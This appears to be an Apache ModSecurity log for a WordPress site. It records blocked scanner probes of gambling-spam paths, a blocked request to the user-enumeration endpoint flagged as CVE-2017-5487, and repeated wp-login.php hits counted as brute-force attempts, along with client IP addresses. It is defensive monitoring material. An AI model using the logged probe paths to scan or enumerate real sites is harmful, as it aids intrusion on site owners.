[Mon May 25 19:04:01.858951 2026] [:error] [pid 62428:tid 62487] [client 51.83.11.108:42872] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "ahQsoZNosGBa7mui3VQ4VwAAAIM"]
[Mon May 25 19:04:04.001953 2026] [:error] [pid 62515:tid 62532] [client 51.83.11.108:42888] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "ahQspBig0_XsOwmnrv8gIQAAAM8"]
[Mon May 25 19:04:06.368337 2026] [:error] [pid 53791:tid 53802] [client 51.83.11.108:51030] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "ahQspiCRhhNTD40Nf1UKxgAAAYk"]
[Mon May 25 19:04:08.450413 2026] [:error] [pid 62515:tid 62526] [client 51.83.11.108:51046] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "ahQsqBig0_XsOwmnrv8gKQAAAMk"]
[Mon May 25 19:04:10.517689 2026] [:error] [pid 62426:tid 62436] [client 51.83.11.108:51056] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "ahQsqkj3D3Mo8ANpTRDrJgAAAAY"]
[Mon May 25 19:04:13.086981 2026] [:error] [pid 62426:tid 62448] [client 51.83.11.108:51068] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "ahQsrUj3D3Mo8ANpTRDrLwAAABI"]
[Mon May 25 19:04:15.165193 2026] [:error] [pid 62427:tid 62477] [client 51.83.11.108:51080] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "ahQsr_MUa83fc4GDyBxyZwAAAVQ"]
[Mon May 25 19:04:17.247354 2026] [:error] [pid 62428:tid 62485] [client 51.83.11.108:54512] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "ahQssZNosGBa7mui3VQ4aAAAAIE"]
[Mon May 25 19:04:19.335379 2026] [:error] [pid 62428:tid 62495] [client 51.83.11.108:54516] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "ahQss5NosGBa7mui3VQ4agAAAIs"]
[Mon May 25 19:04:21.323297 2026] [:error] [pid 3698:tid 3715] [client 51.83.11.108:54530] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "ahQstQtZBEwA4fyFLKPjBAAAAQ8"]
[Mon May 25 19:04:23.506719 2026] [:error] [pid 62428:tid 62489] [client 51.83.11.108:54538] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "ahQst5NosGBa7mui3VQ4dAAAAIU"]
[Mon May 25 19:04:25.413008 2026] [:error] [pid 62426:tid 62444] [client 51.83.11.108:54548] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "ahQsuUj3D3Mo8ANpTRDrNQAAAA4"]
[Mon May 25 19:04:27.370283 2026] [:error] [pid 62515:tid 62529] [client 51.83.11.108:48466] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "ahQsuxig0_XsOwmnrv8gQAAAAMw"]
[Mon May 25 19:04:29.494041 2026] [:error] [pid 62515:tid 62535] [client 51.83.11.108:48470] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "ahQsvRig0_XsOwmnrv8gSQAAANI"]
[Mon May 25 19:04:31.660429 2026] [:error] [pid 62515:tid 62526] [client 51.83.11.108:48482] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "ahQsvxig0_XsOwmnrv8gVgAAAMk"]
[Mon May 25 19:05:06.330856 2026] [:error] [pid 62428:tid 62498] [client 51.83.11.108:48492] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "ahQs4pNosGBa7mui3VQ4qwAAAI4"]
[Mon May 25 19:05:08.254281 2026] [:error] [pid 62427:tid 62461] [client 51.83.11.108:49010] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "ahQs5PMUa83fc4GDyBxyfwAAAUQ"]
[Mon May 25 19:05:10.149586 2026] [:error] [pid 62427:tid 62474] [client 51.83.11.108:49022] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "ahQs5vMUa83fc4GDyBxygwAAAVE"]
[Mon May 25 19:05:12.103314 2026] [:error] [pid 62515:tid 62537] [client 51.83.11.108:49028] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "ahQs6Big0_XsOwmnrv8ggwAAANQ"]
[Mon May 25 19:05:14.145773 2026] [:error] [pid 62722:tid 62744] [client 51.83.11.108:49030] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ahQs6qM6ssnLWYf6CVA-UQAAAFQ"]
[Mon May 25 19:05:16.086351 2026] [:error] [pid 62427:tid 62458] [client 51.83.11.108:49034] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "ahQs7PMUa83fc4GDyBxyhgAAAUE"]
[Mon May 25 19:05:18.031706 2026] [:error] [pid 62428:tid 62497] [client 51.83.11.108:46550] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ahQs7pNosGBa7mui3VQ4twAAAI0"]
[Mon May 25 19:05:20.109179 2026] [:error] [pid 62428:tid 62492] [client 51.83.11.108:46560] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "ahQs8JNosGBa7mui3VQ4uQAAAIg"]
[Mon May 25 19:05:22.178991 2026] [:error] [pid 53791:tid 53817] [client 51.83.11.108:46568] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "ahQs8iCRhhNTD40Nf1UK1wAAAZg"]
[Mon May 25 19:05:24.204090 2026] [:error] [pid 62426:tid 62432] [client 51.83.11.108:46570] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "ahQs9Ej3D3Mo8ANpTRDrVAAAAAI"]
[Mon May 25 19:05:26.156628 2026] [:error] [pid 62515:tid 62517] [client 51.83.11.108:46578] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "ahQs9hig0_XsOwmnrv8giAAAAMA"]
[Mon May 25 19:05:28.071967 2026] [:error] [pid 62515:tid 62535] [client 51.83.11.108:37440] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "ahQs-Big0_XsOwmnrv8gigAAANI"]
[Mon May 25 19:05:29.974737 2026] [:error] [pid 62428:tid 62487] [client 51.83.11.108:37452] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "ahQs-ZNosGBa7mui3VQ4ygAAAIM"]
[Mon May 25 19:05:32.008679 2026] [:error] [pid 62428:tid 62507] [client 51.83.11.108:37466] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "ahQs_JNosGBa7mui3VQ40wAAAJc"]
[Mon May 25 19:05:34.009754 2026] [:error] [pid 3698:tid 3705] [client 51.83.11.108:37472] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ahQs_gtZBEwA4fyFLKPjMwAAAQU"]
[Mon May 25 19:05:36.032595 2026] [:error] [pid 3698:tid 3716] [client 51.83.11.108:37484] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "ahQtAAtZBEwA4fyFLKPjNgAAARA"]
[Mon May 25 19:05:37.930784 2026] [:error] [pid 62515:tid 62519] [client 51.83.11.108:54140] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "ahQtARig0_XsOwmnrv8glQAAAMI"]
[Mon May 25 19:05:40.052279 2026] [:error] [pid 53791:tid 53805] [client 51.83.11.108:54144] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "ahQtBCCRhhNTD40Nf1UK5gAAAYw"]
[Mon May 25 19:05:42.066220 2026] [:error] [pid 3698:tid 3711] [client 51.83.11.108:54152] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "ahQtBgtZBEwA4fyFLKPjPQAAAQs"]
[Mon May 25 19:05:43.976023 2026] [:error] [pid 62428:tid 62493] [client 51.83.11.108:54156] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ahQtB5NosGBa7mui3VQ44gAAAIk"]
[Mon May 25 19:05:46.010765 2026] [:error] [pid 62515:tid 62519] [client 51.83.11.108:54162] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "ahQtChig0_XsOwmnrv8gngAAAMI"]
[Mon May 25 19:05:47.887598 2026] [:error] [pid 62426:tid 62444] [client 51.83.11.108:49466] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "ahQtC0j3D3Mo8ANpTRDrVwAAAA4"]
[Mon May 25 19:05:49.802010 2026] [:error] [pid 62722:tid 62746] [client 51.83.11.108:49482] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ahQtDaM6ssnLWYf6CVA-YgAAAFY"]
[Mon May 25 19:05:51.849565 2026] [:error] [pid 62426:tid 62453] [client 51.83.11.108:49496] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "ahQtD0j3D3Mo8ANpTRDrWgAAABc"]
[Mon May 25 19:05:53.732913 2026] [:error] [pid 62428:tid 62489] [client 51.83.11.108:49502] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "ahQtEZNosGBa7mui3VQ47wAAAIU"]
[Mon May 25 19:05:55.768247 2026] [:error] [pid 62515:tid 62541] [client 51.83.11.108:49512] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "ahQtExig0_XsOwmnrv8grwAAANg"]
[Mon May 25 19:05:57.688092 2026] [:error] [pid 62722:tid 62745] [client 51.83.11.108:60016] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "ahQtFaM6ssnLWYf6CVA-YwAAAFU"]
[Mon May 25 19:05:59.715356 2026] [:error] [pid 62428:tid 62489] [client 51.83.11.108:60028] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ahQtF5NosGBa7mui3VQ4-QAAAIU"]
[Mon May 25 19:06:01.589555 2026] [:error] [pid 62428:tid 62501] [client 51.83.11.108:60044] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "ahQtGZNosGBa7mui3VQ4_AAAAJE"]
[Mon May 25 19:16:18.513270 2026] [:error] [pid 62722:tid 62732] [client 43.165.167.69:54796] [client 43.165.167.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ahQvgqM6ssnLWYf6CVBALQAAAEg"]
[Mon May 25 20:26:55.529742 2026] [:error] [pid 53791:tid 53802] [client 213.55.96.154:43484] [client 213.55.96.154] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/me"] [unique_id "ahRADyCRhhNTD40Nf1UZHwAAAYk"]
[Mon May 25 23:09:03.888128 2026] [:error] [pid 62426:tid 62442] [client 208.84.100.151:56058] [client 208.84.100.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.84.100.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRmD0j3D3Mo8ANpTRAyLAAAAAw"], referer: https://gigfragments.org/wp-admin/
[Mon May 25 23:09:07.095866 2026] [:error] [pid 62515:tid 62526] [client 208.84.100.151:60226] [client 208.84.100.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.84.100.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRmExig0_XsOwmnrv9nyQAAAMk"], referer: https://gigfragments.org/wp-admin/
[Mon May 25 23:09:09.641119 2026] [:error] [pid 62515:tid 62541] [client 208.84.100.151:63468] [client 208.84.100.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.84.100.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRmFRig0_XsOwmnrv9n0gAAANg"], referer: https://gigfragments.org/wp-admin/
[Mon May 25 23:09:11.542177 2026] [:error] [pid 62428:tid 62498] [client 208.84.100.151:49441] [client 208.84.100.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.84.100.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRmF5NosGBa7mui3VR6zQAAAI4"], referer: https://gigfragments.org/wp-admin/
[Mon May 25 23:09:14.033179 2026] [:error] [pid 3698:tid 3710] [client 208.84.100.151:53692] [client 208.84.100.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.84.100.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRmGgtZBEwA4fyFLKMJKgAAAQo"], referer: https://gigfragments.org/wp-admin/
[Mon May 25 23:09:17.113181 2026] [:error] [pid 62428:tid 62508] [client 208.84.100.151:59112] [client 208.84.100.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.84.100.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRmHZNosGBa7mui3VR60gAAAJg"], referer: https://gigfragments.org/wp-admin/
[Mon May 25 23:15:13.503847 2026] [:error] [pid 62428:tid 62503] [client 103.95.119.103:60406] [client 103.95.119.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.95.119.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRngZNosGBa7mui3VR8KQAAAJM"]
[Mon May 25 23:15:15.174799 2026] [:error] [pid 62428:tid 62493] [client 103.95.119.103:60406] [client 103.95.119.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.95.119.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRng5NosGBa7mui3VR8KgAAAIk"], referer: https://gigfragments.org/wp-login.php
[Mon May 25 23:22:37.828161 2026] [:error] [pid 62428:tid 62502] [client 144.76.198.88:49116] [client 144.76.198.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.76.198.88, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRpPZNosGBa7mui3VR9rAAAAJI"]
